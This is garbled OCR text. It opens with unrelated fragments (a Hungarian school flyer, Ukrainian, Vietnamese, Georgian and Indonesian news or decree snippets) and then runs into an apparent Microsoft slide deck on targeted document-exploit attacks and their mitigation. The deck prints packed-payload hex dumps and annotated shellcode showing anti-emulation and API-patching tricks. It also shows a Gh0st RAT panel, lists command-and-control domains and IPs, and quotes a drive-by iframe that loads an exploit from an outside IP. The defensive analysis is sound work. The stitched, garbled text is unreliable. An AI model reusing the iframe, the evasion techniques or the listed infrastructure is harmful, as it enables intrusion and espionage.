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A solymari Waldorf Pedagdgiai Intézet
Waldorf Tanarképzésének

Nyilt napja

2009. marcius 21-eén, szombaton
13.30 — 18.00 6rdig
Solymaron, a Waldorf Tanarképzés épuleteiben
( Jozsef A. u. 41.sz. alatt)

A NAP PROGRAMIJA:
13.30 - 14.00 Erkezés, regisztracid, az épllet megtekintése
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OPTAHIZALUIAHO-AHANITUYHWIA BIOOLN

Ten/dakc - 253-20-73, 253-03-19 E-mail - kos@pressmou.kiev.ua:

http://www.mil.gov.ua

agpeca: ¥kpaiHa, 01021, m.Kuie-21, Byn. Ipyweecbkoro 30/1, KiMH. 348

DAMPKECT N2 666

14.00 - 14.15 Koszontés, a nap programjanak ismertetése
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Petrocaribe en los medios
Jueves, 22 de enero de 2009

TiTuro Can Obama walk the talk?

FECHA 22-01-200%

SECCION Columns

BO TRUGNG BO GIAD DUC VA DAO TAO

Can clr Nghi dinh s 1782007/N-CP ngay 03 thang 12 nim 2007 cla Chinh pht quy dinh chrc

néng, nhiém vu, quyén han va co' ciu td chirc clia bd, co’ quan ngang BY;

C&n cl? Nghi dinh s6 32/2008/ND-CP ngay 19 thang 3 ndm 2008 cla Chinh phl quy dinh chire

néng, nhiém vu, quyén han va co ciu t chire clia BO Gido duc va Dao tao;
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GHN
NEWS AGENCY
1,Leonidze, str. Thilisi
Tel (995 32) 43 77 43,

LTD. GEOHOTNEWS

| ji-eiC-eni

axali ambebis saagenteo
Thilisi, leoniZis quCa #1;
tel. (99532)43 7743

Sps jeohotniusi

e-mail:ghn@ghn. ge www.ghn.ge

22 aprili, 2009 weli
merve gamoSveba

axali ambebi

nika gilauri TurqmeneTSi gnemgzavra

Thilisi.22.04.09."ji-eiC-eni". saqarTvelos premier-ministri nika gilauri TurqmeneTSi gaemgzavra. gilauri
aSxabadSi ori dRe darCeba.

Kamis (02/04) di London dibuka pertemuan negara-negara yang
bergabung dalam apa vang disebut G20. Pertemuan ini bertujuan
untuk mengatasi krisis ekonomi yang makin mengancam dunia saat
ini. Indonesia salah satu dari negara berkembang yang ikut serta.

Apa artinya ini bagi Indonesia dan negara-negara herkembang?

Menurut Wamenlu Trivono Wibowo, pertemuan ini sangat penting

bagi Indonesia. Ta menambahkan Indonesia barangkali sudah

Bod gyal lo 2136 lo yi ring la,
Tashi deleg phun sum tsog,
Ama bardro kunkham zang,
Tendu dewa thob par shog,
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* |ntroduction to file format based attacks
* Why do these attacks work?

* Have they grown more complicated?

* How do attackers hide their activities?

* What can we do?

Microsoft
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Growth of Attacks

Total Submissions By Year

135%
250% increase
increase

N\

W 2005 Totals W 2006 Totals W 2007 Totals M 2008 Totals W 2009 Totals

Source: Microsoft Malware Protection Center (MMPC)

Microsoft
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Methodology

E-mail server

Compromised machine
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Web proxy Control server
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Methodology
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Social Engineering

—=—===0riginal Messa

Sent: Wednesday, May 14, 2008 8:48 AN
Subject: May update on China/HEK economics

Attached please find the China and Hong Kong sections of DB Asia Economics
Monthly. Regards

CHINL: Headline inflation will likely ease in May, although upward pressures
from rice prices as well as raw materials and labor costs remain. Fixed

asset investment growth may rebound in coming months, supporting demand for
construction materials. RME appreciation decelerated in April and will

likely remain slow in the remainder of the year.

HONG KONG: Inflation is wvolatile, partly due to policy decisions, but we
think it will peak in Q2 at just sbowve 5% and be down around 3% 1in Q4.
Growth likely slowed to 6% in Q1 from 6.7% in 200704, External demand really
hasn; t slowed down yet. Consumption growth is already soft.

(See attached file: China-HK AEM MAYZ008.pdf)
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Social Engineering

« Clever use of social engineering techniques

= Cognitive dissonance

= Mimicking writing styles

= Matching content to interest

= Convincing users to forward messages
= Backdooring “memes” and viral content
= Creating a trusted resource

Microsoft
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The Attack
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How Content-Type Attacks Work

Malicious document

Encrypted stub
or packed binary

Vulnerability Shellcode

Shellcode

Embedded binary
Loaded after successful
exploitation

Clean document with same context

Microsoft Corporation | Trustworthy Computing (TWC)



Generations of exploits

- Major changes:

= Shellcode attempts to evade antivirus and Intrusion Detection
= QObfuscation technigues

= File types being exploited

= The goal and payload of attacks

“Phone home” methods

« Quality and reliability of exploits
= Depends on the vulnerability being exploited
= Did not change drastically

Microsoft
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Generations of packing- avoiding detection

00 00 00 03 00 42 00 45 00 4E 00 4D 534 50 00 03 ..... B.I.N.MZ

00 OO0 00 04 00 00 OO0 FF FF 00 00 B8 00 00 00 00 ... .veiinvnnnnnn
00 00 00 40 00 OO0 OO OO0 OO 00 OO0 00 00 OO0 00 OO R
00 OO0 00 00 00 00 OO0 OO0 OO0 00 OO0 00 00 00 00 00 ... eviimnnnnnnnn
00 OO0 00 OO0 00 00 OO0 EO OO 00 00 QOE 1F BA OE 00 ... vviiinnnnennn
34 089 CD 21 B8 01 4C CD 21 54 &8 &9 73 20 70 72 o' L.!'This pr
oF &7 T2 61 6D 20 &3 61 6E 6E oF T4 20 62 65 20 ogram cannot be
2 75 6E 20 &8 gE 20 44 4F 53 20 &D &F 64 &5 ZE run in D05 mode.
0D OD O 24 00 OO0 OO0 OO0 OO0 00 00 C4 F8 02 3F 80 B .
33 eC &C 80 9% eC &C 80 55 eC oC FBE 85 &0 aC 81 11..11..11 1
00 00 00 00 Q0 00 Q0 00 OO0 00 00 4D 54 90 00 CC  .......cuns MZ

C 63 1% CB BC 63 15 30 43 &3 13 77 BC 63 1% CF C...C.0Cc.wW.C

C &3 1% 8F BC €3 15 CF BC &3 13 CF BC o3 1% CF o Y o S o N o

C &3 1% CF BC &3 15 CF BC &3 13 CF BC o3 1% CF Y+ S o Y o c

C 683 1% CF BC €3 15 2F BC &3 1% C1 A3 D5 17 CFE Y Y - L ~
08 A D4 EE 04 62 55 02 85D 37 71 A6 CF 43 63 EL «J...bU..7g..C1i
D3 04 6B &E D1 43 TA &4F D2 0D 76 BE 3C 01 7C EF E..Cz...v |
T8 78 T8 78 TE T8 T8 T8 78 T8 78 T8 00 00 00 00  AEMXXXENEENXX....
00 55 58 58 58 5C S8 58 58 AT L7 58 58 EO 58 58 O L
S8 58 S8 58 S8 18 S8 S8 58 S8 58 S8 58 S8 58 bE MO0, HIOOOGEHX
S8 58 S8 58 S8 58 5B S8 58 S8 58 S8 58 S8 58 bE MEOOOOGOUIOOOGEHK
S8 58 S8 58 S8 58 S8 58 58 B0 58 S8 58 Se 47 EZ MEOOOOOHX . XOEVE.
o6 58 EC 21 95 7% EO 5% 14 95 75 0OC 30 31 2B 78 VE.Q.v.Y..y.0l+x
83 A4 31 10 16 10 10 10 18 10 10 10 EF EF 10 10 ccibcccecccccococe
61 10 10 10 10 10 10 10 50 10 10 10 10 10 10 10 =
10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ... eeveennnnnnna
10 10 10 10 10 10 10 10 10 10 10 10 E1 10 10 10 ..veereennnnnnna
oC ZE &3 0C 10 75 02 8B 52 €1 12 88 8B 52 BE CO e..¥..Ra E
C2 Fe 50 FO F4 CE DE F4 D2 C4 50 De D2 CC CC CE F.o..ouon F.....

PE header in plain sight.

Simple XOR obfuscation

XOR followed by ROL/ROR

Custom encoders

Microsoft Corporation | Trustworthy Computing (TWC)



Generations of shellcode- avoiding detection

* Most static shellcode detectors work by
iIdentifying common GetPC patterns

r\ jmp A F jmp A
B B U4y
pop reg [ pop reg
4
A J
k»_ call B — - _\J

Microsoft Corporation | Trustworthy Computing (TWC)



Generations of shellcode- Anti-emulation

g000816F 68 3D 48 86+ push L483Dh

gge8e174 6A FF push BFFFFFFFFh

888881756 6A FF push BFFFFFFFFh

d80ee178 3E DB 2C 24 f1d tbyte ptr ds:[esp] ; tbyte = 18bytes = 88bit

8000808178 3 push the 88-bit walue we just put on the stack
da0oo178 ; on the FPU register stack

A@0B0178 ; why does it do this? evade emulation and distract
d@apoo178 ; us. most emulators do not support FPU
agogae1ysc 5a push eax : eax = ebp from before.. put tha ton the stack
agoae1sD 5a push eax ; same thing

00Aga17E 54 push esp ; now put a ptr to all of that on the stack
0080881 7E ; this is actual the parameter to the function
008881 7F FF 56 28 call dword ptr [esi+Z8h] ; call [esi+8x28] => GetSystemTimeAsFileTime
a@08e17F ; this fills in the time {a var on the stack)
AgBe0E182 8B Ch mou eax, esp ; save result in EAX

8000184 68 FF FF FF+ push BOFFFFFFFFh
80008189 68 FF FF FF+ push BOFFFFFFFFh

B0A0818E 54 push esp ; 2nd arqument to CompareFileTime {our current time)
B0800618F S0 push eax ; 1st arg to CompareFileTime

d008818F ; this is the HAX TIHME {(FFFFF_..3)

00888198 FF 56 1C call dword ptr [esi+i1Ch] ; call CompareFileTime{currenttime, maxtime)
d0068198 ; -1 = First file time is earlier than second file time.
800881908 3 B = First file time is equal to second file time.
d@000198 : 1 = First file time is later than second file time.
AABAA193 48 dec eax : decrement the vreturn value

00088194 75 83 jnz short loc_199 ; if it is non-zero go there

d00881946 FF 56 18 call dword ptr [esi+18h] ; if it is Z2ERO0, call ExitThread({)}

Beaa8196 ; why do they do this? anti-emulation again

aa0aa19245 ; most emulators will return 1 by default o)

dd888199

d8888199 loc_199: ; CODE XREF: segBO0:00008194Tj

d8888199 5A 28 push 38h ; "@8°

d8000198 59 pop ecx

d800019C a4 8B 19 mou ebx, fs:[ecx] ; get the PEB |

Microsoft Corporation | Trustworthy Computing (TWC)



Generations of shellcode- APl Hooks

Cé

47
AB

Cé

a7 68

a7 .3

push
push
push
mov
add

inc
stosd

mow

1Ah
Bbh
0 I
eax, ebp

EBP = peb+Bx488 = buffer that we just copied data to

eax, [esp+ebxwi+b+ypar 4] ; ebx = 1 => O0SHinorVersion

this is eax = eax+[esp+ebx#=4] = eax+[esp+4] = d
{we just pushed D on the stack)
why are they doing this?

byte ptr [edi], 68h ; "h" ; EDI is a function ptr to ZwCreateProcessEx

edi

byte ptr [edi], ©

LI IR IR IR

overwrite the fFirst byte to ZwCreateProcessEx with 0x68
ZuCreateProcessEx is actuwally a syscall
ntdllt*ZwCreateProcessEx:

fco8d769 bE30000000 moy eax,30h

8:000> v Bedi L8

ntdlltZwCreateProcessEx:

7c98d769 b830000000 moy eax,3oh

fc90d76e babOd3IFeff mouy edx ,0f fset SharedUserDatatSystemCallsStub (7Ffed3na)
fcoad?y3 FA12 call dword ptr [edx]

7c98d775 c22L08 ret 24h

This is actually change how the function works.. so all ZwCreateProcessEx will be useless
increment EDI to the next byte

store EAX in EDI and increment EDI by &

EAX = peb+4B08+d => address we made

h 3 "+ 5 put C3 at that byte.. C3 = return

what they are doing here is PATCHING ZwCreateProcessEx

Microsoft Corporation | Trustworthy Computing (TWC)
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The Trojan

call ebx ; lstrcpyn

mov esi, ds:lstrcath
lea edx, [ebp+FileNane] £g:~”ﬂﬂff
s \\*_dug"

push offset a_dug ;

push edx ; 1pString1

call esi ; lstrcatn

lea eax, [ebp+FindFileData]

lea ecx, [ebp+FileName]

push eax ; 1pFindFileData
push ecx ; 1pFileName
call ds:FindFirstFilen

mov edi, eax

edi, OFFFFFFFFh
short loc_ 462351

_ L ] __ L i

EA N L (:. 1 IO

Xor eax, eax

mov ecx, [ebp+var_C] loc_402351:

mov large fs:0, ecx lea edx, [ebp+FindFileData]

pop edi push edx ; 1pFindFileData
pop esi push edi ; hFindFile

pop ebx call ds:FindNextFilen

mov esp, ebp test eax, eax

pop ebp jz short loc_408238C

Microsoft
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The Trojan

€, GhOst RAT : =] P

D AN | LAN GEES»0AD | ) x> | CPU |Ping | ESIAL

XiTE3E “File Management”
B it “Screen Monitor”
BEILR “Keyboard Monitor”

by ot D hl | .

I = 5550 “Remote Terminal”
i

FERETE “System Management”
g “Video Monitor”

~F55 | “Conversation Management”
U wothers”

EREEED “Select All”

R RIS “Undo Select”

\ Connections { Settinas % Build /
10.2.0.19/192,168,233,1/192.168,37.1 S: 0,00 kb/s R: 0,00 kb/s fEéU: 8O A=10: 0 y/

Microsoft
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Phone Home Methods

% (3) Control connection Conlro' SOVNOE

Compromised target

oY :
Q! DNS Server

% (3) Control connection Congol DX

Compromised target

Microsoft
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Phone Home Methods: split horizon

DNS Server

Microsoft Corporation | Trustworthy Computing (TWC)



Phone Home Methods

208.73.212,12

bs411 .bluewinn

L
60,10,1,.244
topl10 .51ha

bsek5, ggsddup.com

bsek4, ggsddup.com
msn.winibmhelp.,com

bsekl.,ggsddup.com
7

125.208.6.117
124.64.206,.171

dong .winxpibm,com

Microsoft
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Case Study



Case Study

Dear Phuntsok,

| have arrived Nepal safely, don't worry about me.Here is the latest video about the Ihasa conflict recorded by my
mobile,l hope it will be useful. The other files about it you can find in my blog.

Regards,
Steve

lhasa.zip (64.6 KB)

Microsoft
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Case Study

= v 080310.asd
Nokia 7650 video en.doc

= Connectsto uprise.lamaonl.com
= Host name already disabled

Microsoft Security Bulletin MS08-028 — Critical
Vulnerability in Microsoft Jet Database Engine Could Allow Remote Code Execution (950749)

Published: May 13, 2008 | Updated: July 16, 2008

Version: 1.3

General Information

Executive Summary

This security update resolves a security vulnerability in the Microsoft Jet Database Engine (Jet) in Windows. An attacker who
successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs;
wiew, change, or delete data; or create new accounts with full user rights. Users whose accounts are configured to have fewer user
rights on the system could be less impacted than users who operate with administrative user rights.

Microsoft
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Case Study

- April 9, 2008
Drive-by exploit on the web site of a UK organization

<iframe src=http://59.120.21.6/img/ft/ex.html width=0 heigh=0></iframe>

- This web location
|dentifies the user’s web browser
Offers an exploit specifically for that version
Downloads and runs “ipsec.exe” from a server in Taiwan
Connects to control server:

freetibet.lamalive.com

This hostname stopped resolving after 48 hours

Microsoft
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http://59.120.21.6/img/ft/ex.html

Case Study

* Five months later

+ 2008-07-12 10:20 | freetibet.lamalife.com | 218.30.103.68
- 2008-08-14 17:406 | freetibet.lamalife.com | 218.30.103.68
+ 2008-09-21 04:16 | freetibet.lamalife.com | 69.64.155.78
- 2008-09-25 06:45 | freetibet.lamalife.com | ©69.64.155.78
- 2008-09-26 00:37 | freetibet.lamalife.com | 208.73.210.32

+ 2008-07-12 09:59 | uprise.lamaonl.com | 218.30.103.68
+ 2008-09-21 04:23 | uprise.lamaonl.com | 69.64.155.75
+ 2008-09-25 05:08 | uprise.lamaonl.com | 69.64.155.78

r.311icrosoft*

Microsoft Corporation | Trustworthy Computing (TWC)
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Roles and opportunities

- Software vendors
= Opt-in to operating system mitigations
= Have a defined software incident response process
= Build security into the development lifecycle

 CERTs, WARPs, ISACs

* Promote sharing of technical incident information
* Define a process that allows learning during response

* Enterprise

= Network deployment & design
= |Intelligence-driven Risk Management

Microsoft
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What Microsoft is doing

* Build secure software

= Software Development Lifecycle
= Significant investment in mitigation technology

* Improve security response
= |nformation sharing programs (MAPP, DISP)

- Empower customers

= Windows Server: ESC, Core installation
= MOICE, Office File Validation
= Forensic and mitigation tools

Microsoft
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Office

« Office 2003 SP3 security push

Microsoft Office MSo06-027 | MS06-028 | MSo7-014 | MSo7-015 | MSo7-025 | MSo8-014 | MSo8-042

Version

Office 2000 RTM Yes Yes Yes Yes Yes Yes Yes
Office XP RTM Yes Yes Yes Yes Yes Yes Yes
Office 2003 RTM Yes Yes Yes Yes Yes Yes Yes
Office 2007 RTM No No No No Yes Yes No
Office 2000 S5P3 Yes Yes Yes Yes Yes Yes Yes
Office XP SP3 Yes Yes Yes Yes Yes Yes Yes
Office 2003 SP3 No No No No No No Yes
Office 2007 5P1 No No Mo No Mo No No

Source: Security Intelligence Report (2009)
» Office File Validation and Protected View

Microsoft Corporation | Trustworthy Computing (TWC)



Exploit mitigations

< IE 7 IE 8
@ [ ASLR Opt-in ] [ DEP Opt-in ]

Internet Explorer

Cla Office 2007 Office 2010
(e ASLR Opt-in ] [ DEP Opt-in ]
Office >

v

XP SP2 / Vista RTM Server 2008
ﬂg Cow ] s  sonor |
| ]

[ Heap [ Heap (v2) ]
Windows
w VS 2003 VS 2005 VS 2010
[ /GS ] [ /GS (v2) ] /GS (v3)
Visual Studio [ SafeSEH ]
2003 2005 2007 2009 2011
( J ( J ( J ( J [ ] ( J ( J [ ] ( J
2004 2006 2008 2010

Microsoft
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r'_| Enhanced Mitigation Expernence Too |=—TW| 2] X

System Status

Data Execution Prevention (DEF) Always On
Structured Exception Handler Overwrite Protection (SEHOP) Application Opt Out

Address Space Layout Randomization (ASLR) Application Opt In

[ Configure System J

Running Processes
[Process i | Process Mame | Running EMET
5744 taskeng
3338 UcMapi
2380 MsitTpmSwe
taskhost
CcmExec
sftdcc
explarer
SearchIndexer
gvchost
smss
AEADISRY
CBrss

audiodg
iexplore
SynTPLpr
SynTPErh
MsMpEng
wininit
svchost

(S S il S S~ J SIS S S S S Y S5

@
[ Configure Apps ]




E Application Configurati

| MandatoryASLR. | BottomUpRand

|w

| HeapSpray

| MulPage

|%m

Settings

i | ]

[App Mame

communicator.exe

conhost.exe

B BB E B E R ERERERE R ERE B R B

B B B B EEEEEEEEEEEEEEEE B

Y e o o e S M = S

B BB EEEREREEREEREREREE B

B B B B B B B B E E B EEEEE BB

B B B B R R EEEEEEEEEE R B

B B B B B E R EREREEEEEEREE B

ImagingDevices.exe
INFOPATH.EXE

|sass.exe
COMEMOTEM.EXE

OUTLOOK.EXE

POWERFPNT.EXE

GROOVE.EXE
hhc,exe

=, exe
MSACCESS.EXE
MSiEXeC, EXe
MVVEVC.EXE
OMEMOTE.EXE
[

iexplore.exe

dwm.exe
EXCEL.EXE
explorer,exe
FwcMgmt.exe
iexplore. exe

CSMs5.EXE

J [ Remove |




01010101010101010101010101
00101010101010101010101010
10101010101010101010101010
10101010101010101010101010
10101010101010101010101010
10101010101010101010101010
101010101Q}Q10101010101010
101010101/°.910101010101010
10101010101010101010101010
10101010101010101001010110
10101010101010101010101010
10101010101010101010101010
10101010101010101010101010
10101010101010101010101010

EMET: Heap spray pre-allocation

01010101010101010101010101
00101010101010101010101010
10101010101010101010101010
10101010101010101010101010
1010109101010101010101010
10101010101010101010101010
10101010104010101010101010
101010101"v

10101
01010101010101010100101011
01010101010101010101010101
01010101010101010101010101
01010101010101010101010101
01010101010101010101010101

0
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o s = . -!-- --:-‘ _—y |

File  Edit Options  Tools Help

Parser: | Cases.dl : PowerPoint57_2003BinaryFomat DetectionLogic{CVE-2003:0556, CVE-2006-0022, CVE-20070671, CVES v | Pame |

Raw File Contents Parsing Results
00000000 LR E1 00 00 00 00 0 [Name | value |offset [size |
00000010 0 00 00 00 00 : 00 FF =
00000020 1 00 00 0D 00 00 (=] LES5Root b g2
00000040 FF | [+}-FAT[1664] 512 6656
00000050 00 e
00000080 00 00 01§ . . (2} MinFAT125] 8192 512
00000070 WENE 0 00 00 ¢ [#) DirectoryEntries[s] 7168 1024
33333333 [} PowerPaintBinaryDacuments[1] 76135 68733
00000020 E}-P:owerPDintB\naryDocument[D] 76185 68733
000000R0 [=) Children[10] 761856 68733
000000C0 [} Container[0] PST Document 76185 2640
000000D0 T
000000ED [*)- Container[1] PST_MainMaster 764496 2628
000000F0 E}- Container[2] PST_Notes 767124 1666
00000100 [} Container[3] PST Handout 768790 1216 I
00000110 T -
00000120 €3y Container[4] PST_Slide 770006 55577
00000130 [+)- Container[5] PST_Slide 325583 646
00000140 : i
00000150 : Container[6] PST_Notes 826229 536
00000160 [ Atom[7] PST ExternalOleC... 826765 3735
00000170 [} Atom[8] PST PersistDirecto.,, 830501 52
00000130 H i
00000190 [+ Atom[9] PST UserEditAtom 830553 36
00000120
000001R0
000001C0
00000100
000001ED
000001F0
00000200
00000210
gggggggg |'Type Notes Dffset Length Vuln ID
00000240 DefinitelyMalicious  Found a malicious PST_OutlineTextReftom atomin a PST_ClientTextBox contain... 766380 2 CVE-2009-0556
00000250 DefinitelyMalicious  Found a malicious PST_OutlineTextRefAtom atomin a PST_ClientTextBox contain,.. 772922 2 CVE-2003-0556
aAnnnnNNEN

Offset: 0 Length: 512 | 1243.9878ms 50.9994ms | Detection loaded: CVE-2009-0556, CVE-2006-0022, CVE-2007-0671, CVE-2006-0009, CVE-2006-3434
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http://global.ahnlab.com/
http://www.aladdin.com/
http://www.ca.com/
http://www.checkpoint.com/
http://www.cisco.com/
http://www.diputech.com/
http://www.estsoft.com/
http://www.enterasys.com/
http://www.f-secure.com/
http://www.freescale.com/
http://www.finjan.com/
http://www.fortinet.com/
http://www.gdatasoftware.com/portal/US/
http://www.h3c.com.cn/
http://company.hauri.net/
http://www.ibm.com/
http://www.nprotect.com/
http://www.infosec.co.kr/
http://www.ikarus.at/
http://www.ipolicynetworks.com/
http://www.jiangmin.com/
http://www.juniper.net/
http://www.kaspersky.com/
http://www.leadsec.com.cn/
http://www.landesk.com/
http://www.mcafee.com/
http://www.marshal8e6.com/
http://www.messagelabs.com/
http://www.microsoft.com/security/portal/
http://www.mobocable.com/
http://www.netasq.com/
http://www.network-box.com/
http://www.niksun.com/
http://www.nitrosecurity.com/
http://www.norman.com/
http://www.nowcom.co.kr/
http://www.nsfocus.com/en/
http://www.paloaltonetworks.com/
http://www.pandasecurity.com/
http://www.quarantainenet.com/
http://www.rising.com.cn/
http://www.stsc.co.kr/eng/default.asp
http://www.secui.com/
http://www.secureworks.com/
http://www.sophos.com/
http://www.stonesoft.com/
http://www.sourcefire.com/
http://www.sunbeltsoftware.com/
http://www.symantec.com/
http://www.thirdbrigade.com/
http://www.tippingpoint.com/
http://www.toplayer.com/
http://www.trendmicro.com/
http://www.venusense.com/
http://www.zscaler.com/
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Mitigation framework

Social Engineering
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Infiltration
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Mitigation framework

Social Engineering

Basic:

* E-mail security policy

* Security awareness training

* Filter external e-mails from the organizational domain

Enhanced:

 Employ Sender-ID or SPF technology

* Enhanced awareness training for high value targets
* Sharing intelligence on attack patterns

Strong:

* Digitally sign e-mails
*  Web site whitelisting

Microsoft

Microsoft Corporation | Trustworthy Computing (TWC)



Mitigation framework

E-mail server Basic:

e Anti-virus deployed on the gateway

Infiltration  Blocking suspicious attachment types
e Spam filtering

Enhanced:
* Re-scan previously accepted attachments on the mail server

Strong:

* Dynamic execution and validation of attachments
* Web site whitelisting

Microsoft

Microsoft Corporation | Trustworthy Computing (TWC)



Mitigation framework

Compromi
Basic: P o

* Anti-virus

e Security updates

* Reduce user privileges on the system
e Disable document macros

Enhanced: N
* Anti-virus with Host Intrusion Prevention | <
* Enable DEP and SEHOP system-wide

* Harden applications (e.g. block Javascript execution)

e Use MOICE for Office document security

» Office File Validation

Strong:
* Deploy EMET for internet-facing applications
* Application whitelisting

Microsoft
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Mitigation framework

Basic:
* Log access to data resources
* Deploy split horizon DNS

Enhanced:

e Audit access to data resources

* Deploy Extended Protection for Authentication (EPA)
* Correlate data access with network logins

Data Access

Strong:
e Multi-factor authentication
» Segregation of data stores and untrusted network access

Microsoft
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Mitigation framework

Basic:
* Log access to web sites
* Block outbound network access

Web prox . . |
.P y EXflltl’athn Control server

* Use of a content-aware web proxy

Enhanced:

* Exchange information with CERTs, law enforcement and/or industry partners
* DNS monitoring, correlation and log analysis

» Black-list access to specific web sites

* Deploy DRM and/or data loss prevention tools

Strong:
* White-list access to specific web sites

Microsoft
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Thank you!

Maarten Van Horenbeeck
maarten.vanhorenbeeck@microsoft.com

Featuring work by:

Bruce Dang
Jonathan Ness
Matt Miller
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